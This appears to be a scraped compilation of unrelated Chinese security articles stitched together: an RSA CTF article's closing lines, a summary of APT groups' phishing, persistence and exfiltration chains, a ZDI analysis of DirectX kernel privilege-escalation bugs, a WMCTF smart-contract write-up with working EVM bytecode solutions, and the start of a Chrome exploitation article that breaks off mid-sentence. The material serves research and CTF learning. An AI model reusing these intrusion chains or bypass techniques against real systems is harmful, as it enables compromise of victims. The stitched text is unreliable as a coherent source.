这里总结方法也不是全部的方法，但是希望能够对大家RSA方面解题过程中能提供一些帮助。这里推荐汪神的OJ系统，里面题目多多，关于RSA也有不少，可以在此练习：[https://www.jarvisoj.com](https://www.jarvisoj.com/)
顺便再打个广告，我们战队最近正在从战队角度编篡一本CTF方面相关的书籍，干货多多，敬请期待！
本文如有什么问题或建议，请联系我，一定虚心接受：[[email protected]](mailto:[email protected])。 | 社区文章 |
**作者：360 A-TEAM
公众号：[360安全监测与响应中心](https://mp.weixin.qq.com/s/Ni3dscLJBrVsW5jR5OySdA
"360安全监测与响应中心") **
### **APT37**
**目标：日韩/中东/越南 =》航空航天/教育/金融/政务/医疗等机构.**
描述：
* 从2012年开始活动,针对日韩/中东/越南进行渗透。
* 前期钓鱼：
1. 黑掉一个知名机构,然后以该机构邮箱作为发送方投递钓鱼邮件.
2. 邮件中使用office或hwp中的0day和刚公开不久的nday.
* 数据提取:
1. 通过dropbox的api上传敏感数据，过流控设备的检查.
### **APT34**
**目标：中东地区金融 能源 政务 化工行业**
描述：
* 从14年开始活动,常用鱼叉式钓鱼方案进行前期打点.
* 样本使用最新的office nday.
* 通过powershell写计划任务做权限维持.
* 通过DGA域名与c2通讯.
### **APT33**
**目标：美国/沙特阿拉伯/韩国等国家的航空航天及能源行业**
描述：
* 从13年开始活动
* 采取邮件钓鱼的方案获取初次访问权限.
* 样本采用hta + powershell等技术.
* 上线域名根据目标行业定制.
* 样本里未去除pdb路径,泄漏木马开发者id，根据id关联到伊朗网军.
### **APT32**
**目标：越南境内外资企业. 包括但不局限于银行/媒体/制造业**
描述：
* 常用鱼叉式钓鱼方案获取初次访问权限。
* 邮件内用社会工程学的方式诱导用户启用word宏.
* 以计划任务的方式实现权限维持.
* 以msf+cs进行后渗透.
### **APT30**
**目标：东南亚**
描述：
* 从2004年开始活动
* 05年开始尝试感染可移动设备突破隔离网.
### **APT29**
**目标：西欧政府外交部**
描述：
* 初次权限获取方案：
1. 邮件钓鱼，内嵌lnk或宏
* C2通讯：
1. 利用攻陷的web站当前置机，ssl加密
* 持久化方案：
1. Wmi事件订阅
2. 计划任务
* 数据提取方案：
1. 将数据加密放在图片里
2. 将图片上传到社交媒体或者云厂商
### **APT28**
**目标：高加索/ 东欧 / 美国**
描述：
* 采用flash或者windows的0day获取初次访问权限
* C2通讯:https
### **APT19**
**目标：投资和法务相关的机构**
描述：
* 采用钓鱼邮件方式获取初次访问权限：
1. CVE 2017-0199.
2. 宏
* C2 ：cobalt strike
* 通讯：http
### **APT18**
**目标： 航空/国防/建筑/教育/健康/生物/高科技/运营商/交通等行业**
描述：
* 远控：Gh0st
* 采用HackingTeam泄漏的flash 0day获取初次访问权限。
### **APT17**
**目标：美国政府/国际律师事务所/信息技术公司**
描述：
* C2通信：用微软的TechNet blog通讯.
### **APT16**
**目标：日本和台湾的高科技/政务服务/媒体和金融行业**
描述：
* 采取钓鱼邮件的方案获取初次访问权限。
* 阶段性的payload放置在被攻陷的高信誉域名服务器上。
* 写入用户启动目录做权限维持。
### **APT12**
**目标：新闻/政府/国防工业**
描述：
* 采用被攻陷的邮箱发送钓鱼邮件获取初次访问权限.
* c2通信：http协议.
### **APT10**
**目标：美国欧洲日本的的建筑工程/航空/运营商/政府行业**
描述：
* 通过钓鱼邮件获取初次访问权限:
1. 宏/exe
2. 附件加密过邮件网关.
* C2通信：http协议
### **APT3**
**目标：航空航天/国防/建筑工程/高科技/运营商/交通等行业.**
描述：
* 初次权限获取：
1. 浏览器0day . 如firefox/ie
2. 钓鱼邮件
* 通过添加计划任务做权限维持
* 木马走socks与c2通讯
### **APT1**
**目标：
信息技术/航空航天/公共管理/卫星通讯/科学研究及咨询/能源/交通/建筑制造/高科技电子/媒体/广告娱乐/导航/化学/金融服务/农业食品/健康/教育等行业.**
描述：
* 有语言学家/开源研究人员/恶意软件作者/目标行业的业界专家的支持.
* 常用鱼叉攻击的方式获取初次访问权限.
* 初期采用http方式与c2通讯.
### **海莲花**
**目标：中国政府/科研所/海事机构/海域建设/航运等企业**
描述：
* 通过钓鱼邮件和水坑攻击获得初次访问权限.
* C2是cs，采用http协议上线。
* 伪造http头里的host欺骗ids,通过cookie字段进行指令传输.
**目标：中国政务/科研/海事机构**
描述：
* 通过钓鱼邮件获取初次访问权限.
* 附加包含nday. 触发流程:
1. 释放sct和shellcode -》加载远端vbs -〉解密shellcode文件并执行-》释放pe文件并加载 -〉 从资源里释放通讯模块.
* 木马通过dns协议与c2通讯.
描述：
* 通过钓鱼邮件获取初次访问权限
* 邮件内样本采用0day执行命令.
1. 遍历system32目录,搜索vmGuestLibJava文件,判断是否为虚拟机
2. 写入计划任务做权限维持
3. 利用McAfee mcods.exe加载恶意dll执行shellcode
4. 横向移动中通过msbuild执行命令
### **Operation Oceansalt**
目标：
**韩国公共基础设施/合作基金/高等教育.
北美金融/医疗/电信/农业/工业/政府**
描述：
* 采取钓鱼邮件方案获取初次访问权限. 附件为xsl内嵌宏
### **dark hotel**
**目标：中国政务/科研**
描述：
* 采用钓鱼欧邮件获取初次访问权限.
1. 诱饵格式 xxx.jpg.scr
2. 释放两张正常图片到temp目录
3. mspain打开A图片
4. 读取B图片里的隐写数据,生成lnk文件到temp目录
5. 执行lnk -> powershell ->下载exe执行
6. 清理lnk及隐写图片
* 木马通讯采用OpenSSL协议
* Api动态调用
* 杀软/沙箱/虚拟机检测
**目标 ：中日韩俄的国防/电子等机构**
描述：
* doc释放chrome组件和恶意dll
* 执行chrome加载恶意dll
* 解密并执行poweershell->下载恶意dll2
* 通过cliconfg.exe执行恶意dll2
* bypassuac写服务做权限维持
描述：
* 通过office 0day获取初次访问权限.
* 样本流程:
1. office触发漏洞
2. 释放恶意dll文件
3. 通过mmc.exe bypass uac.
4. mmc进程启动后会加载恶意dll文件.
5. 从远端下载shellcode并执行
### **美人鱼**
**目标：丹麦**
描述：
* 采取水坑/鱼叉攻击获取初次访问权限
1. ppt内嵌ole
2. 水坑攻击中的样本为自解压文件
* 写注册表做权限维持
### **人面狮**
**目标：以色列国防军/海军**
描述：
* 采用社交网络水坑攻击获取初次访问权限.
* 木马以dll形式存在，注入到explorer.exe
* 通讯模块注入到浏览器进程,采用http协议与c2通讯
* 窃取文件模块注入到杀毒软件进程
### **摩诃草**
**目标：中国/巴基斯坦的军事/科研/政务/商业机构**
描述：
* 主要采取水坑/鱼叉攻击获取初次访问权限.
1. 附件包含0day
2. 附件为exe/scr/dll （dll文件通过正常带签名的exe程序启动）
3. 浏览器nday /钓鱼网址
* 通过入侵第三方论坛,写入c2通讯ip
* 通过写注册表启动项做权限维持
**目标:中国/巴基斯坦的教育/军工/科研/政务**
描述：
* 采取邮件钓鱼获得初次访问权限.
1. dropper js -》 解密并生成新的js -〉 执行ps -》 bypassuac - 〉释放dll并加载.
* 通过http协议与c2通讯
**目标: 中国/巴基斯坦的政务/教育机构**
描述：
* 通过钓鱼邮件获取初次访问权限.
1. :: doc(cve-2017-8570) - 》 sct -〉c# dropper ->释放Microsoft.Win32.TaskScheduler.dll -》添加计划任务
### **双尾蝎**
**目标：巴基斯坦教育机构/军事机构**
描述：
* 通过鱼叉和水坑攻击获取初次访问权限
* 鱼叉邮件附件为exe/scr
* 通过注册表启动项做权限维持
### **Fub7**
**目标: 美国金融机构**
描述：
* 通过鱼叉攻击采取初次访问权限.
1. 钓鱼文档中, 插入模糊图片,将OLE对象透明放置在模糊图片之上,用户双击放大图片则触发.
2. pe格式的文件采用ads数据流隐藏保存
3. 木马编码后写入到注册表,启动时由powershell读出动态执行.
4. 64个c2随机选择
* 采用dns协议与c2通讯.
* 通过计划任务与注册表启动项做权限维持.
### **Gaza cybergang**
描述：
* 通过邮件钓鱼方式获取初次访问权限.
* 附件用office nday执行命令.
* 执行链： office -> ole download hta -> mshta load hta -> powershell download pe - > create thread load pe
* 采用dns/http/smb/tcp等方式与c2通讯
* C2为cobalt strike
### **黄金鼠**
目标: 叙利亚反导弹系统
描述：
* 通过水坑攻击获取初次访问权限.
### **蔓灵花**
描述：
* 伪造域名获得指定人员账户密码.
* 以该账户向其他人发送木马.
1. :: 自解压程序- > 释放doc并启动 -> 打开exe -》 判断杀软- > 写注册表做权限维持 -> 执行恶意代码.
* 采用http协议与c2通讯.
描述：
**目标：巴基斯坦**
* 通过邮件钓鱼获取初次访问权限
* 邮件内样本采用文字处理软件的0day执行任意命令
1. 下载exe / 写注册表做权限维持
2. 释放dll文件/ dll内释放正常的文本
3. 通过select * from win32_computersystem检测虚拟机
4. 写用户启动目录，做第二套权限维持方案
### **APT-C-01**
**目标：中国政务/科技/教育/国防等机构**
描述：
* 通过鱼叉攻击获取初次访问权限.
1. 附件内doc利用漏洞来执行命令.
2. 下载hta
3. 执行powershell-》下载pe文件
4. pe下载远程shellcode解密并执行
### **hacking team 01**
**目标:卡塔尔地区**
样本流程:
1. 含有flash activex对象的excel文件落地
2. 加载远程flash文件
3. 从远程服务器下载aes加密的flash 0day文件
4. 获取密钥解密flash 0day文件
5. 触发漏洞，获得执行任意命令的权限
6. 获取shellcode并执行
### **蓝宝菇**
**目标：中国政务/军工/科研/金融等机构**
描述：
* 采取鱼叉攻击获取初次访问权限.
* 云附件bypass邮件网关
* 感染开始菜单内所有快捷方式,实现权限维持
描述：
* 通过鱼叉攻击获取初次访问权限
* 云附件bypass邮件网关
* 样本采用lnk执行ps反弹shell
1. 从lnk尾部读取数据.
2. 释放doc并运行
3. 执行shellcode
4. 感染其他lnk做权限维持
* 用aws云服务拖文件
描述：
* 采取鱼叉攻击获取初次访问权限
* 写注册表做互斥
* 用SAE做前置机
### **APT-C-35**
**目标:巴基斯坦等南亚地区国家**
描述：
* 通过鱼叉攻击获取初次访问权限.
* 样本采用nday漏洞获得执行命令的权限.
1. 释放setup.exe到临时目录
2. 执行setup.exe添加计划任务做权限维持.
3. 从goodle docs获得c2 ip
* 样本采用http协议于c2通讯.
**目标：对在华巴基斯坦商务人士的定向攻击**
描述：
1. xsl宏释放恶意pe文件
2. 启动pe文件->下载bat并执行
3. 写启动项实现权限维持
4. 采用http协议与c2通讯
### **毒云藤**
**目标: 中国国防/政务/军工/科研/教育/海事等机构**
描述：
* 主要通过鱼叉攻击获取初次访问权限.
* 邮件携带office0day或者二进制可执行文件
* 二进制样本:
1. RIO隐藏文档扩展名
2. 删除注册表内office打开的文档信息
3. 通过网盘做文件回传（利用高信誉域名bypass 流控设备）
4. api动态调用bypass杀软静态扫描
5. 错误调用api bypass沙盒
### **group123**
**目标：韩国**
描述：
* 通过鱼叉攻击获取初次访问权限
1. 样本采用hwp 0day获取命令执行权限.
2. 写bat到用户启动目录实现权限维持.
3. 启动system32\sort.exe，注入shellcode执行
4. 反调试
5. 检查沙箱
6. 通过dropbox /pcloud之类的网盘回传数据
### **未命名**
**目标：巴基斯坦**
描述：
* 通过钓鱼邮件获取初次访问权限.
* 附件用office 0day执行命令+windows 0day提权
* 采用http协议与c2通讯.
* 写注册表启动项做权限维持
### **未知**
目标：乌克兰
* 采用邮件钓鱼获取初次访问权限
* 附件内触发0day执行命令
1. 释放恶意pe文件并执行
2. 检测杀软
3. 检测windows defender ；Select * from Win32_Service WhereName ='WinDefend'AND StateLIKE’Running
4. 写计划任务做权限维持
5. 走http协议与c2通讯
* * * | 社区文章 |
原文链接：<https://www.zerodayinitiative.com/blog/2018/12/4/directx-to-the-kernel>
操作系统内核是每个漏洞利用链的最终目标，你可以从这些年来the Zero Day Initiative (ZDI)
Pwn2Own竞赛的题目上看出来。Windows内核受到了许多方面的攻击，我最喜欢的一个是对DeviceIoControl调用各种驱动程序的滥用，因为这导致能够访问许多由不同供应商编写的驱动程序，而其中很多驱动程序的编写和测试并不是很好。
多年来，大多数侵入Windows内核的攻击都是通过win32k.sys进行的，win32k.sys是一种内核模式的设备驱动程序，用来控制窗口图形和窗口管理系统。当微软在20年前将这一功能从CSRSS移到内核时，它立即将针对Windows内核的攻击面增加了一倍或两倍——从此，这里就成为了一个漏洞百出的地方。
自从WDDM
(Windows显示驱动程序模型)在过去十年取代早期的XDDM以来，就出现了另一个大型攻击面。在显示系统通过win32k.sys调用初始化操作之后，用户进程可以通过GDIPlus的入口点直接调用dgxkrnl.sys和其他驱动，这个扩展的攻击面对研究人员是很具有吸引力的。
2018年春天，ZDI从腾讯湛泸实验室的ChenNan和RanchoIce手上购买了5个针对DirectX内核接口的漏洞。这些购买的漏洞造成了4个针对微软的CVE漏洞，本文涵盖了这些漏洞并提供了在我们网站上发表的PoC。
此外，Rancho和ChenNan在9月份的44CON会议演讲中对其中一个攻击（ZDI-18-946/CVE-2018-8405)有着重介绍，我强烈建议研究人员可以去回顾一下演讲的[课件](https://github.com/RanchoIce/44Con2018/blob/master/44Con-Gaining%20Remote%20System%20Subverting%20The%20DirectX%20Kernel.pdf)。
## DirectX概述
在深入讨论这些漏洞之前，我们来简要了解一下DirectX接口和驱动程序。
DirectX图形内核子系统由三个内核模式驱动程序组成:dxgkrnl.sys，dxgmms1.sys和dxgmms2.sys。这些驱动程序通过win32k.sys和它们自己的接口集来和用户通信，它们也和BasicRender.sys,
BasicDisplay.sys和显示微型端口驱动程序通信。
DirectX定义了许多复杂的内核对象，大多数的名字都是以DXG开头。用户通过许多复杂的API入口点和DirectX通信，这些API切入点很多名字都是以D3DKMT开头的，还有一些是以DXGK开头的。
以下是一些更有趣的切入点:
**D3DKMTEscape**
——这个切入点接受一个完全由用户控制的blob数据作为输入。这个数据块可能非常大，因此在向内核处理的转换过程中，更倾向将它留在用户内存中，而不是在内核中捕获它。这种模式使得被调用的内核例程可以被当为备选用到TOC/TOU漏洞中。这个数据不是标准化的结构，所以每个驱动程序都有不同的定义。
**D3DKMTRender**
——这个切入点是实际渲染图形数据的核心。用户地址命令和补丁缓冲区是由内核驱动程序解释，实际上是传递给迷你端口驱动程序的。同样，也可以在条件竞争中利用。此外，渲染程序会生成大量的工人线程，使得条件竞争漏洞更可能出现。
**D3DKMTCreateAllocation**
——这个切入点用来分配内存。由于传入API调用的不同标志和句柄之间复杂的相互作用，可能会出现问题(参阅下面的ZDI-18-946)。
IOActive的Ilja van
Sprundel在2014年发表的题为“[Windows内核图形驱动程序攻击表面](https://www.blackhat.com/docs/us-14/materials/us-14-vanSprundel-Windows-Kernel-Graphics-Driver-Attack-Surface.pdf)”的黑帽子报告是一个很好的从攻击角度对WDDM的概述。
## 漏洞演练
PoC源码可以在[这里](https://github.com/thezdi/PoC/tree/master/DirectX)找到。如果你想重现这些崩溃,你需要一个2018年8月之前的Windows版本（在微软修复这些漏洞之前的版本）。记得要将内核调试器附加到被测试的机器上，并在受攻击的驱动程序上设置特殊池。我是在Windows
10 x64上测试了这些漏洞报告。
### ZDI-18-946/CVE-2018-8405 - D3DKMTCreateAllocation类型混淆漏洞
我们讨论的第一个漏洞是在dgxkrnl.sys中的DXGDEVICE::CreateAllocation方法中，通过D3DKMTCreateAllocation方法暴露，可以允许本地攻击者将特权升级到系统权限。这是我们对此的[建议](https://www.zerodayinitiative.com/advisories/ZDI-18-946/)，微软的补丁在[这里](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8405)。错误的原因是缺乏对用户提供数据的正确验证，可能导致类型混淆。
要查看此操作，在运行PoC之前请在dxgkrnl.sys上启用[特殊池](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/special-pool)。类型混淆是由于在分配中不恰当地使用CrossAdapter标志造成的。PoC代码使用一个为0的CrossAdapter标志进行分配，然后将结果传递给第二个分配，在第二个分配中设置一个为1的CrossAdapter标志。
这是蓝屏分析:
错误代码在DXGDEVICE::CreateAllocation中，是一种经典的类型混淆：
### ZDI-18-947/CVE-2018-8406 - D3DKMTRender类型混淆漏洞
下一个漏洞存在于dxgmms2.sys驱动程序中，通过D3DKMTRender方法暴露出来。这个漏洞也是允许本地攻击者将特权升级到系统权限。这是我们对此的[建议](https://www.zerodayinitiative.com/advisories/ZDI-18-947/)，微软的补丁在[这里](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8406)。与第一个示例一样，该错误会导致类型混淆，虽然本质上类似，但是这些bug有不同的根源。
同样，你需要在dxgkrnl.sys和dxgmms2.sys上启用特殊池才能发现这些漏洞，当然，还要目标机器上添加内核调试器。这种类型混淆是由于分配操作混淆了两个不同适配器。
相关PoC代码:
PoC崩溃细节:
漏洞代码：
### ZDI-18-950/CVE-2018-8400 - D3DKMTRender不可信指针解引用漏洞
下一个漏洞也是通过D3DKMTRender例程暴露的,这个漏洞在dxgkrnl.sys的DGXCONTEXT::ResizeUserModeBuffers
方法中。这是我们对此的[建议](https://www.zerodayinitiative.com/advisories/ZDI-18-950/)，微软的补丁在[这里](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8400)。在这个例子中，错误是由于在将用户提供的值作为指针解除引用之前缺乏适当的验证所导致的。造成这个结果的原因是因为驱动程序信任用户设置的标志。以下是PoC的相关详情:
导致了下面的崩溃：
调用源：
漏洞代码：
显然，来自用户的这个标志不应该导致内核中的任意解除引用。
### ZDI-18-951/CVE-2018-8401 – BasicRender条件竞争漏洞
最后一个漏洞稍微复杂一点，因为这个漏洞出现在BasicRender驱动程序处理D3DKMTMarkDeviceAsError
API和D3DKMTSubmitCommand
API的过程中。这是我们对此的[建议](https://www.zerodayinitiative.com/advisories/ZDI-18-951/)，微软的补丁在[这里](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8401)。共享资源没有得到适当的保护，可能会导致内存泄露。攻击者可以利用它将特权提升到系统权限。这种漏洞经常会被一些恶意软件利用，一旦用户点击了他们不应该点击的东西，恶意软件就会使用这种方法来安装自己。微软为这个bug和[ZDI-18-949](https://www.zerodayinitiative.com/advisories/ZDI-18-949/)提供了一个CVE，指出了相同的根本原因。
这两种情况的PoC代码是相关的，但有所不同。
第一个PoC的关键部分:
对SubmitCommand的每次调用都会通过VidSchiWorkerThread生成一个线程,对MakeDeviceError的调用会更改相同对象的状态,导致条件竞争出现。
这是造成的崩溃：
条件竞争存在于对同一位置的两次修改之间:
对于ZDI-18-949，尽管根源相同，但是可以看到PoC代码中的差异。这是PoC的关键部分:
执行此PoC会导致Run方法崩溃:
这里是漏洞代码：
代码会在第二次运行时崩溃，并不是第一次。
## 总结
WDDM和DirectX图形内核代码为Windows提供了一个非常强大和灵活的图形系统。它们通过使用许多非常复杂的对象和为用户代码创建许多新的复杂接口来实现这一点。这里给出的PoC应该会让你了解DirectX中实现的对象的复杂性，以及该领域未来研究的范围。我相信这个领域还是有很多东西可以研究的。
直接静态分析可以提供攻击信息，然而，这个任务是十分艰巨的。另一种可能的想法是建立一个fuzzing框架，将不同的值设置为不同的标志，并以不同的顺序调用DirectX方法，以查找崩溃。当然，您还可以添加多个线程来更改和释放数据，以研究条件竞争和TOC/TOU的可能性。记住要在所有相关驱动程序上设置专用池。
一如既往，当你发现新的漏洞时，Zero Day
Initiative很乐意和您交流。在此之前，你可以在Twitter上[@FritzSands](https://twitter.com/FritzSands)上找到我，并跟随[团队](https://twitter.com/thezdi)了解最新的利用技术和安全补丁。 | 社区文章 |
# 2021WMCTF 1+2=3 WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 题目描述
题目在经过 `pow` 验证后交互的内容如下：
We design a pretty easy contract game. Enjoy it!
1. Create a game account
2. Deploy a game contract
3. Request for flag
4. Get source code
Option 1, get an account which will be used to deploy the contract;
Before option 2, please transfer some eth to this account (for gas);
Option 2, the robot will use the account to deploy the contract for the challenge;
Option 3, use this option to obtain the flag when isSolved() function returns true;
Option 4, use this option to get source code.
You can finish this challenge in a lot of connections.
You can get Ether from faucet <http://ip:10001>
[-]input your choice:
我们可以通过选项 `4` 获得题目的代码：
pragma solidity 0.8.0;
contract Dumper {
constructor(bytes memory code) {
assembly {
return(add(code, 0x20), mload(code))
}
}
}
interface Storage {
function getNumber() external view returns (uint256);
}
contract Puzzle {
Storage public Storage1;
Storage public Storage2;
Storage public Storage3;
bool public solved;
function check(bytes memory code) private returns (bool) {
uint256 i = 0;
while (i < code.length) {
uint8 op = uint8(code[i]);
if (
op == 0x3B || // EXTCODECOPY
op == 0x3C || // EXTCODESIZE
op == 0x3F || // EXTCODEHASH
op == 0x54 || // SLOAD
op == 0x55 || // SSTORE
op == 0xF0 || // CREATE
op == 0xF1 || // CALL
op == 0xF2 || // CALLCODE
op == 0xF4 || // DELEGATECALL
op == 0xF5 || // CREATE2
op == 0xFA || // STATICCALL
op == 0xFF // SELFDESTRUCT
) return false;
i++;
}
return true;
}
function reverse(bytes memory a) private returns (bytes memory) {
bytes memory b = new bytes(a.length);
for (uint256 i = 0; i < a.length; i++) {
b[b.length - i - 1] = a[i];
}
return b;
}
function sum(bytes memory a, bytes memory b) private returns (bytes memory) {
bytes memory c = new bytes(a.length);
for (uint256 i = 0; i < a.length; i++) {
uint8 q = uint8(a[i]) + uint8(b[i]);
c[i] = bytes1(q);
}
return c;
}
function deploy(bytes memory code) private returns (Storage) {
require(code.length <= 100);
require(check(code));
return Storage(address(new Dumper(code)));
}
function giveMeFlag(bytes memory code) public {
Storage1 = deploy(code);
require(Storage1.getNumber() == 1);
Storage2 = deploy(reverse(code));
require(Storage2.getNumber() == 2);
Storage3 = deploy(sum(code, reverse(code)));
require(Storage3.getNumber() == 3);
solved = true;
}
function isSolved() public view returns(bool) {
return solved;
}
}
题目需要我们通过调用 `giveMeFlag` 函数传入长度小于 `100` 的 `code` ，然后通过三个约束来通过测试，其中的三个约束分别如下：
1. 传入的 `code` 在部署后调用 `getNumber()` 函数会返回 `1`
2. 传入的 `code` 在逆序部署后调用 `getNumber()` 函数会返回 `2`
3. 将传入的 `code` 的正序和逆序的每个字节码相加并部署后调用 `getNumber()` 函数会返回 `3`
同时部署的字节码也不能够是以下的类型：
0x3B -> EXTCODECOPY
0x3C -> EXTCODESIZE
0x3F -> EXTCODEHASH
0x54 -> SLOAD
0x55 -> SSTORE
0xF0 -> CREATE
0xF1 -> CALL
0xF2 -> CALLCODE
0xF4 -> DELEGATECALL
0xF5 -> CREATE2
0xFA |-> STATICCALL
0xFF -> SELFDESTRUCT
最后函数会将 `solved` 置为 `true` ，这样当调用 `isSolved()` 方法的时候便会返回 `true`
，也就满足题目一开始所说的条件，然后我们便可以在交互处通过选项 `3` 获得 `flag`
## Code编写
在 `solidty` 中，通常的合约的入口处都是通过函数选择器来跳转到指定的方法的，具体可以参考 [CTF-wiki](https://ctf-wiki.org/blockchain/ethereum/selector-encoding/)
。然而这个函数选择器并不是必须的，交易只是会发送过来函数的签名，但是我们可以不用去检验它而直接返回。
我们可以参考 [ethervm](https://ethervm.io) 中的字节码解释来编写字节码 ，首先我们先实现一个正向的返回值为 `1` 的字节码：
data = ""
data += "6001" # push 01
data += "6000" # push 00
data += "52" # mstore[0:0x20] = 1
data += "6020" # push 20
data += "6000" # push 00
data += "f3" # return
print(data)
# 600160005260206000f3
当我们把 `600160005260206000f3` 放入 [ethervm
decompile](https://ethervm.io/decompile) 中的时候，我们可以得到如下结果：
这样我们便有了一个返回值恒定为 `1` 的合约。
然后以此类推，我们也可以得到一个返回值恒定为 `2` 的合约：
data = ""
data += "6002" # push 01
data += "6000" # push 00
data += "52" # mstore[0:0x20] = 2
data += "6020" # push 20
data += "6000" # push 00
data += "f3" # return
print(data)
# 600260005260206000f3
当我们把第一个合约与第二个合约的逆序连起来的时候，我们就同时满足了 `giveMeFlag` 函数的两个约束条件：
def reverse(data):
return bytes.fromhex(data)[::-1].hex()
data = ""
data += "6001" # push 01
data += "6000" # push 00
data += "52" # mstore[0:0x20] = 1
data += "6020" # push 20
data += "6000" # push 00
data += "f3" # return
data += "f3" # return
data += "0060" # push 00
data += "2060" # push 20
data += "52" # mstore[0:0x20] = 2
data += "0060" # push 00
data += "0260" # push 02
print(data)
# 600160005260206000f3f3006020605200600260
print(reverse(data))
# 600260005260206000f3f3006020605200600160
当我们放入正序的 `data` 时效果如下：
当我们放入逆序的 `data` 时效果如下：
然而第三个约束却有些难办，其需要正序和逆序的字节码相加的字节码的合约的返回值为 `3` 。如果只是单纯的相加那肯定是不能满足约束的，在翻阅了
`solidity` [字节码](https://ethervm.io/#opcodes)的信息后，我发现可以使用 `push`
来实现将相加后的无用字节码给跳过，从而达到越过一定量的字节码来执行接下来的 `code` 的目的
那么假如我们需要构造出相加等于 `PUSHXX` 指令的字节码，我们需要寻找一些不需要栈上数据作为输入且不怎么影响程序流程的字节码，例如：
0x30 -> ADDRESS
0x32 -> ORIGIN
0x33 -> CALLER
0x34 -> CALLVALUE
0x36 -> CALLDATASIZE
0x38 -> CODESIZE
0x3A -> GASPRICE
0x3D -> RETURNDATASIZE
...
那么我们如果构造 `PUSH11` 即 `0x6A` ，我们可以使用 `ADDRESS` 加上 `GASPRICE`
，将这两个操作码放到数据的头和尾，即可构造出一个相加起来跳过指令的字节码，然后再将返回值为 `3` 的代码加入其中，便可以构造出完整的字节码：
def reverse(data):
return bytes.fromhex(data)[::-1].hex()
def combine(x,y):
x = bytes.fromhex(x)
y = bytes.fromhex(y)
result = [(a + b) & 0xff for a,b in zip(x,y)]
return bytes(result).hex()
data = ""
data += "30" # ADDRESS
data += "6001" # push 01
data += "6000" # push 00
data += "52" # mstore[0:0x20] = 1
data += "6020" # push 20
data += "6000" # push 00
data += "f3" # return
data += "00" # padding
data += "6003" # push 03
data += "6000" # push 00
data += "52" # mstore[0:0x20] = 3
data += "6020" # push 20
data += "6000" # push 00
data += "f3" # return
data += "00" * 10 # padding
data += "00" # padding
data += "f3" # return
data += "0060" # push 00
data += "2060" # push 20
data += "52" # mstore[0:0x20] = 2
data += "0060" # push 00
data += "0260" # push 02
data += "3a" # GASPRICE
print(data)
# 30600160005260206000f300600360005260206000f30000000000000000000000f30060206052006002603a
print(reverse(data))
# 3a600260005260206000f30000000000000000000000f300602060520060036000f300602060520060016030
print(combine(data,reverse(data)))
# 6ac003c000a4c040c000e600600360005260206000f3f300602060520060036000e600c040c0a400c003c06a
此时加起来的效果如下：
但是如果真正将该代码放入到 `giveMeFlag()` 函数中的时候，却会提示该代码会 `revert` ，经过 `debug` 可以发现最后运行到了
`uint8 q = uint8(a[i]) + uint8(b[i]);` 语句然后进入到了 `panic_error_0x11()` 并
`revert` ，此时的 `a[i]` 和 `b[i]` 都为 `0xf3` ，所以猜测可能是整数溢出导致了这个 `revert` 。
那么该如何更改代码呢？我们可以把尾部的 `0xf3` 改为一个较小的值来错位防止加法溢出，例如改成 `03(SUB)`
，然后继续添加代码来进行下一步的修复，最后合并即可：
blacklist = [0x3B,0x3C,0x3F,0x54,0x55,0xF0,0xF1,0xF2,0xF4,0xF5,0xFA,0xFF]
def check(data):
for d in data:
if d in blacklist:
return False
return True
def reverse(data):
return bytes.fromhex(data)[::-1].hex()
def combine(x,y):
x = bytes.fromhex(x)
y = bytes.fromhex(y)
result = [(a + b) for a,b in zip(x,y)]
return bytes(result).hex()
data = ""
data += "30" # ADDRESS
data += "6001" # push 01
data += "6000" # push 00
data += "52" # mstore[0:0x20] = 1
data += "6020" # push 20
data += "6000" # push 00
data += "f3" # return
data += "00" # padding
data += "6000" # push 00
data += "6003" # push 03
data += "6000" # push 00
data += "52" # mstore[0:0x20] = 3
data += "6020" # push 20
data += "6000" # push 00
data += "f3" # return
data += "00" * 10 # padding
data += "f3" # return
data += "0060" # push 00
data += "03" # sub
data += "4060" # push 40
data += "2060" # push 20
data += "52" # mstore[0:0x20] = 2
data += "0060" # push 00
data += "0260" # push 02
data += "3a" # GASPRICE
if check(data):
print(data)
# 30600160005260206000f3006000600360005260206000f300000000000000000000f30060034060206052006002603a
if check(reverse(data)):
print(reverse(data))
# 3a600260005260206040036000f300000000000000000000f3006020605200600360006000f300602060520060016030
if check(combine(data,reverse(data))):
print(combine(data,reverse(data)))
# 6ac003c000a4c040c040f66060f3600360005260206000f3f3006020605200600360f36060f640c040c0a400c003c06a
最后的正序效果如下：
倒序效果如下：
和起来的效果如下： | 社区文章 |
# Chrome 浏览器越界写漏洞分析Part 2
|
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2020/02/several-months-in-life-of-part2.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
在我们了解了bug的工作原理后，并将这些细节发送给Chrome以帮助他们开始修复之后，我们回到了其他项目。这个bug仍然是一个讨论的话题，我们没有理由不为它编写exploit。
这样做的一个主要原因是了解Chrome网络栈中的漏洞有多容易被利用，因为进程架构的变化相对较晚。团队中没有人认真考虑过利用Chrome网络堆栈中的问题，因此相对于代码库中更广为人知的区域（例如renderer错误或更典型的浏览器进程沙盒逃逸漏洞），它可能会提供一些更值得关注的见解。
我们的许多失败并不是由于任何特殊的困难，而是由于粗心大意，在处理不可靠的原语时，这种粗心大意似乎更成问题；很容易花一整天调试失败的堆，而没有注意到Web服务器在错误的端口上运行…
## Chapter 4：Exploit
上篇文章，我们使用了一个非常强大的原语；该漏洞让我们在堆分配结束后写入指定大小的可控数据。只有一个主要的缺点需要克服——由于bug的工作方式，我们覆盖的分配总是大小为0。
与大多数其他分配器一样，tcmalloc
以最小的类大小存储它，在本例中最大为16个字节。size类有两个问题。首先，“useful”对象（即那些包含我们可能要覆盖的指针对象）通常大于这个值。其次，size类相当阻塞，因为几乎每个IPC对网络进程的调用都会触发其中的分配和释放。因此，我们不能使用“heavy”
获取API来进行堆喷射/清理。不幸的是，在网络进程中很少有对象类型可以容纳16个字节，并且创建这些对象类型不会触发大量其他的分配。
也有一些好消息。如果网络进程崩溃，它将以默认方式重新启动，因此，如果我们正在努力提高可靠性，我们能够将此作为一个支撑 —
